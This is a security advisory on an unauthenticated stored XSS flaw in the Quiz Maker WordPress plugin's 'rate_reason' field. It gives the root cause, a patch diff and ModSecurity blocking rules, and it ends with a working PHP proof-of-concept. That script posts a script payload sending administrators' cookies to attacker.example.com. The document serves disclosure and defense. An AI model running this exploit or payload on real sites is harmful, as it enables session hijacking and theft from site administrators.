Atomic Edge analysis of CVE-2026-6817:
The Quiz Maker by AYS plugin for WordPress contains an unauthenticated stored cross-site scripting vulnerability. This affects all versions up to and including 6.7.1.29. The vulnerability exists in the ‘rate_reason’ parameter during quiz rating submission. An unauthenticated attacker can inject arbitrary JavaScript that executes when administrators view the rating.
Root Cause:
The root cause is insufficient input sanitization and output escaping of the ‘rate_reason’ parameter. In the file quiz-maker/public/class-quiz-maker-public.php, the vulnerable code at line 7906-7907 processes the ‘rate_reason’ parameter. The original code used stripslashes() on sanitize_textarea_field() output, which could be bypassed because stripslashes() reversed the sanitization. Additionally, in the display function ays_get_full_reasons_of_rates() at line 7651, the ‘reason’ value was output using stripslashes(nl2br($reason)) without any escaping, allowing stored script execution. The admin list table in class-quiz-maker-all-reviews-list-table.php and class-quiz-maker-results-list-table.php also lacked proper escaping when displaying review content.
Exploitation:
An unauthenticated attacker can exploit this by sending a POST request to the quiz submission endpoint. The vulnerable parameter ‘rate_reason’ accepts arbitrary input. The attacker can submit a payload such as alert(document.cookie) as the value of rate_reason. When an administrator visits the Quiz Maker results or reviews page in the WordPress admin panel, the stored script executes in their browser session. The attacker does not need to be logged in or have any privileges.
Patch Analysis:
The patch addresses two issues. First, in class-quiz-maker-public.php, the vulnerable stripslashes() call was removed, and wp_unslash() is used before sanitize_textarea_field() to properly handle slashes without reversing sanitization. Second, output escaping was added: in ays_get_full_reasons_of_rates(), the reason is now wrapped in esc_html() before being output; in the admin column functions, esc_attr() and esc_html() are applied to user-supplied data. In class-quiz-maker-results-list-table.php, data-html was changed from true to false in the tooltip attribute, preventing HTML execution. The patch converts the stored review text to safe HTML entities throughout all display contexts.
Impact:
Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript into the WordPress admin panel. This leads to full compromise of the admin session. An attacker can steal cookies, modify WordPress settings, create administrative accounts, or exfiltrate sensitive data. The stored XSS persists until manually removed or the plugin is updated. Because the attacker does not need authentication, this vulnerability is easily exploitable at scale.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/quiz-maker/includes/lists/class-quiz-maker-all-reviews-list-table.php
+++ b/quiz-maker/includes/lists/class-quiz-maker-all-reviews-list-table.php
@@ -606,22 +606,43 @@
*
* @return string
*/
+ // function column_review( $item ) {
+
+ // // Run a security check.
+ // if (empty($this->ays_quiz_nonce) || ! wp_verify_nonce( $this->ays_quiz_nonce, 'ays_quiz_admin_all_reviews_list_table_nonce' ) ) {
+ // // This nonce is not valid.
+ // wp_die( esc_html__( 'Nonce verification failed!', 'quiz-maker' ) );
+ // }
+
+ // $column_t = (isset( $item['review'] ) && $item['review'] != '') ? stripcslashes( nl2br( trim($item['review']) ) ) : '';
+ // $t = esc_attr($column_t);
+
+ // $review_title_length = intval( $this->title_length );
+
+ // $restitle = Quiz_Maker_Admin::ays_restriction_string("word", $column_t, $review_title_length);
+
+ // $title = sprintf( '<span title="%s">%s</span>', $t, $restitle );
+
+ // return $title;
+ // }
+
function column_review( $item ) {
- // Run a security check.
if (empty($this->ays_quiz_nonce) || ! wp_verify_nonce( $this->ays_quiz_nonce, 'ays_quiz_admin_all_reviews_list_table_nonce' ) ) {
- // This nonce is not valid.
wp_die( esc_html__( 'Nonce verification failed!', 'quiz-maker' ) );
}
- $column_t = (isset( $item['review'] ) && $item['review'] != '') ? stripcslashes( nl2br( trim($item['review']) ) ) : '';
- $t = esc_attr($column_t);
+ $column_t = isset( $item['review'] ) && $item['review'] !== '' ? trim( (string) $item['review'] ) : '';
$review_title_length = intval( $this->title_length );
-
- $restitle = Quiz_Maker_Admin::ays_restriction_string("word", $column_t, $review_title_length);
- $title = sprintf( '<span title="%s">%s</span>', $t, $restitle );
+ $restitle = Quiz_Maker_Admin::ays_restriction_string( "word", $column_t, $review_title_length );
+
+ $title = sprintf(
+ '<span title="%s">%s</span>',
+ esc_attr( $column_t ),
+ esc_html( $restitle )
+ );
return $title;
}
--- a/quiz-maker/includes/lists/class-quiz-maker-results-list-table.php
+++ b/quiz-maker/includes/lists/class-quiz-maker-results-list-table.php
@@ -781,43 +781,59 @@
function column_quiz_rate( $item ) {
global $wpdb;
- // $delete_nonce = wp_create_nonce( $this->plugin_name . '-delete-result' );
+ $options = json_decode( $item['options'], true );
+ $rate_id = isset( $options['rate_id'] ) ? absint( $options['rate_id'] ) : 0;
- $options = json_decode($item['options'], true);
- $rate_id = (isset($options['rate_id'])) ? $options['rate_id'] : null;
- if($rate_id !== null){
+ if ( $rate_id > 0 ) {
$margin_of_icon = "style='margin-left: 5px;'";
- $result = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}aysquiz_rates WHERE id={$rate_id}", "ARRAY_A");
+ $result = $wpdb->get_row(
+ $wpdb->prepare(
+ "SELECT * FROM {$wpdb->prefix}aysquiz_rates WHERE id = %d",
+ $rate_id
+ ),
+ ARRAY_A
+ );
- $res_options = (isset( $result['options'] ) && $result['options'] != '') ? $result['options'] : '';
+ if ( empty( $result ) ) {
+ return '';
+ }
+
+ $res_options = isset( $result['options'] ) ? $result['options'] : '';
- if($this->isJSON($res_options)){
- $review_json = json_decode($res_options, true);
- $review = $review_json['reason'];
- }elseif($res_options != ''){
- $review = $res_options;
- }else{
- $review = (isset( $result['review'] ) && $result['review'] != '') ? $result['review'] : '';
+ if ( $this->isJSON( $res_options ) ) {
+ $review_json = json_decode( $res_options, true );
+ $review = isset( $review_json['reason'] ) ? (string) $review_json['reason'] : '';
+ } elseif ( $res_options !== '' ) {
+ $review = (string) $res_options;
+ } else {
+ $review = isset( $result['review'] ) ? (string) $result['review'] : '';
}
- $reason = htmlentities(stripslashes(wpautop($review)));
- if($reason == ''){
- $reason = __("No review provided", 'quiz-maker');
+
+ $reason = trim( $review );
+
+ if ( $reason === '' ) {
+ $reason = __( 'No review provided', 'quiz-maker' );
}
- $score = (isset( $result['score'] ) && $result['score'] != '') ? $result['score'] : '';
+
+ $score = isset( $result['score'] ) ? absint( $result['score'] ) : 0;
$title = '';
- if ( $score != '' ) {
- $title = "
- <span data-result='".absint( $item['id'] )."' class='ays-show-rate-avg'>
- $score
- <a class='ays_help' $margin_of_icon data-template='<div class="rate_tooltip tooltip" role="tooltip"><div class="arrow"></div><div class="rate-tooltip-inner tooltip-inner"></div></div>' data-toggle='tooltip' data-html='true' title='$reason'><i class='ays_fa ays_fa_info_circle'></i></a>
- </span>";
+
+ if ( $score > 0 ) {
+ $title = sprintf(
+ '<span data-result="%1$d" class="ays-show-rate-avg">
+ %2$s
+ <a class="ays_help" %3$s data-template="<div class="rate_tooltip tooltip" role="tooltip"><div class="arrow"></div><div class="rate-tooltip-inner tooltip-inner"></div></div>" data-toggle="tooltip" data-html="false" title="%4$s"><i class="ays_fa ays_fa_info_circle"></i></a>
+ </span>',
+ absint( $item['id'] ),
+ esc_html( $score ),
+ $margin_of_icon,
+ esc_attr( $reason )
+ );
}
- }else{
- $margin_of_icon = '';
- $reason = __("No rate provided", 'quiz-maker');
- $score = '';
- $title = "";
+ } else {
+ $title = '';
}
+
return $title;
}
--- a/quiz-maker/public/class-quiz-maker-public.php
+++ b/quiz-maker/public/class-quiz-maker-public.php
@@ -7651,48 +7651,60 @@
protected function ays_get_full_reasons_of_rates($start, $limit, $quiz_id, $zuyga){
$quiz_rate_reasons = $this->ays_get_reasons_of_rates($start, $limit, $quiz_id);
- $quiz_rate_html = "";
+ $quiz_rate_html = '';
+
foreach($quiz_rate_reasons as $key => $reasons){
- $user_name = !empty($reasons['user_name']) ? "<span>".$reasons['user_name']."</span>" : '';
- if($this->isJSON($reasons['options'])){
- $reason = json_decode($reasons['options'], true)['reason'];
- }elseif($reasons['options'] != ''){
- $reason = $reasons['options'];
- }else{
- $reason = $reasons['review'];
+
+ $user_name = ! empty( $reasons['user_name'] ) ? '<span>' . esc_html( $reasons['user_name'] ) . '</span>' : '';
+
+ if ( $this->isJSON( $reasons['options'] ) ) {
+ $options = json_decode( $reasons['options'], true );
+ $reason = isset( $options['reason'] ) ? (string) $options['reason'] : '';
+ } elseif ( ! empty( $reasons['options'] ) ) {
+ $reason = (string) $reasons['options'];
+ } else {
+ $reason = isset( $reasons['review'] ) ? (string) $reasons['review'] : '';
}
- if(intval($reasons['user_id']) != 0){
- $user_img = esc_url( get_avatar_url( intval($reasons['user_id']) ) );
- }else{
- $user_img = AYS_QUIZ_PUBLIC_URL . "/images/avatar_2x.png";
+
+ if ( intval( $reasons['user_id'] ) !== 0 ) {
+ $user_img = esc_url( get_avatar_url( intval( $reasons['user_id'] ) ) );
+ } else {
+ $user_img = esc_url( AYS_QUIZ_PUBLIC_URL . '/images/avatar_2x.png' );
}
- $score = $reasons['score'];
- $commented = date('M j, Y', strtotime($reasons['rate_date']));
- if($zuyga == 1){
- $row_reverse = ($key % 2 == 0) ? 'row_reverse' : '';
- }else{
- $row_reverse = ($key % 2 == 0) ? '' : 'row_reverse';
+
+ $score = absint( $reasons['score'] );
+ $commented = esc_html( date_i18n( 'M j, Y', strtotime( $reasons['rate_date'] ) ) );
+
+ if ( $zuyga == 1 ) {
+ $row_reverse = ( $key % 2 == 0 ) ? 'row_reverse' : '';
+ } else {
+ $row_reverse = ( $key % 2 == 0 ) ? '' : 'row_reverse';
}
- $quiz_rate_html .= "<div class='quiz_rate_reasons'>
- <div class='rate_comment_row $row_reverse'>
- <div class='rate_comment_user'>
- <div class='thumbnail'>
- <img class='img-responsive user-photo' src='".$user_img."'>
+
+ $quiz_rate_html .= "
+ <div class='quiz_rate_reasons'>
+ <div class='rate_comment_row " . esc_attr( $row_reverse ) . "'>
+ <div class='rate_comment_user'>
+ <div class='thumbnail'>
+ <img class='img-responsive user-photo' src='" . esc_url( $user_img ) . "' alt=''>
+ </div>
</div>
- </div>
- <div class='rate_comment'>
- <div class='panel panel-default'>
- <div class='panel-heading'>
- <i class='ays_fa ays_fa_user'></i> <strong>$user_name</strong><br/>
- <i class='ays_fa ays_fa_clock_o'></i> $commented<br/>
- ".__("Rated", 'quiz-maker')." <i class='ays_fa ays_fa_star'></i> $score
+ <div class='rate_comment'>
+ <div class='panel panel-default'>
+ <div class='panel-heading'>
+ <i class='ays_fa ays_fa_user'></i> <strong>" . $user_name . "</strong><br/>
+ <i class='ays_fa ays_fa_clock_o'></i> " . $commented . "<br/>
+ " . esc_html__( 'Rated', 'quiz-maker' ) . " <i class='ays_fa ays_fa_star'></i> " . esc_html( $score ) . "
+ </div>
+ <div class='panel-body'>
+ <div>" . nl2br( esc_html( $reason ) ) . "</div>
+ </div>
</div>
- <div class='panel-body'><div>". stripslashes(nl2br($reason)) ."</div></div>
</div>
</div>
- </div>
- </div>";
+ </div>";
}
+
return $quiz_rate_html;
}
@@ -7906,7 +7918,8 @@
$user_phone = isset($_REQUEST['ays_user_phone']) ? esc_sql( sanitize_text_field( $_REQUEST['ays_user_phone'] ) ) : '';
$score = (isset($_REQUEST['rate_score']) && $_REQUEST['rate_score'] != "") ? esc_sql( absint( sanitize_text_field( $_REQUEST['rate_score'] ) ) ) : 5;
$rate_date = current_time('mysql'); // For Security // esc_sql( sanitize_text_field( $_REQUEST['rate_date'] ) );
- $rate_reason = (isset($_REQUEST['rate_reason']) && $_REQUEST['rate_reason'] != "") ? stripslashes( sanitize_textarea_field( $_REQUEST['rate_reason'] ) ) : '';
+ // $rate_reason = (isset($_REQUEST['rate_reason']) && $_REQUEST['rate_reason'] != "") ? stripslashes( sanitize_textarea_field( $_REQUEST['rate_reason'] ) ) : '';
+ $rate_reason = isset($_REQUEST['rate_reason']) ? sanitize_textarea_field( wp_unslash( $_REQUEST['rate_reason'] ) ) : '';
switch ($score) {
case "1":
--- a/quiz-maker/quiz-maker.php
+++ b/quiz-maker/quiz-maker.php
@@ -16,7 +16,7 @@
* Plugin Name: Quiz Maker
* Plugin URI: https://ays-pro.com/wordpress/quiz-maker
* Description: Create powerful and engaging quizzes, tests, and exams in minutes. Build an unlimited number of quizzes and questions.
- * Version: 6.7.1.29
+ * Version: 6.7.1.30
* Author: Quiz Maker team
* Author URI: https://ays-pro.com/
* License: GPL-2.0+
@@ -36,8 +36,8 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define( 'AYS_QUIZ_NAME_VERSION', '6.7.1.29' );
-define( 'AYS_QUIZ_VERSION', '6.7.1.29' );
+define( 'AYS_QUIZ_NAME_VERSION', '6.7.1.30' );
+define( 'AYS_QUIZ_VERSION', '6.7.1.30' );
define( 'AYS_QUIZ_NAME', 'quiz-maker' );
if( ! defined( 'AYS_QUIZ_BASENAME' ) )
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6817
# Blocks unauthenticated stored XSS in Quiz Maker by AYS plugin
# Targets the ays_quiz_rate AJAX action with malicious rate_reason parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6817 Stored XSS in Quiz Maker via rate_reason',severity:'CRITICAL',tag:'CVE-2026-6817',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq ays_quiz_rate"
"chain"
SecRule ARGS_POST:rate_reason "@rx <script[^>]*>"
"t:none,t:lowercase,t:htmlEntityDecode,t:removeNulls,t:compressWhitespace"
# Also block encoded variants
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-6817 Stored XSS via rate_reason (encoded)',severity:'CRITICAL',tag:'CVE-2026-6817',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq ays_quiz_rate"
"chain"
SecRule ARGS_POST:rate_reason "@rx %3Cscript"
"t:urlDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6817 - Quiz Maker by AYS <= 6.7.1.29 - Unauthenticated Stored Cross-Site Scripting via 'rate_reason'
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// The quiz submission endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Malicious JavaScript payload that steals cookies
$payload = '<script>new Image().src="http://attacker.example.com/steal?c="+document.cookie;</script>';
// Find a quiz ID - you may need to adjust this. Try common quiz IDs 1-10.
$quiz_id = 1;
// The action for adding a rate/rating
$action = 'ays_quiz_rate';
// Build the POST data
$post_data = array(
'action' => $action,
'quiz_id' => $quiz_id,
'rate_score' => 5,
'rate_reason' => $payload,
'ays_user_name' => 'TestUser',
'ays_user_email' => 'test@example.com',
'ays_user_phone' => ''
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIE, ''); // No authentication needed
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
echo "n[+] Exploit sent. Visit the Quiz Maker admin page to see the stored XSS execute.n";
echo "[+] Payload: $payloadn";